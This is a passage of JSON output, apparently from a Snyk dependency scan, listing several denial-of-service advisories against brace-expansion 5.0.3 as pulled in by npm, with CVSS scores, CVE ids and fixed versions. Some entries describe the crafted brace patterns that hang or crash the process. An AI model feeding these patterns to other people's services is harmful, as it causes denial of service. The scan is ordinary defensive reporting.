"cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", 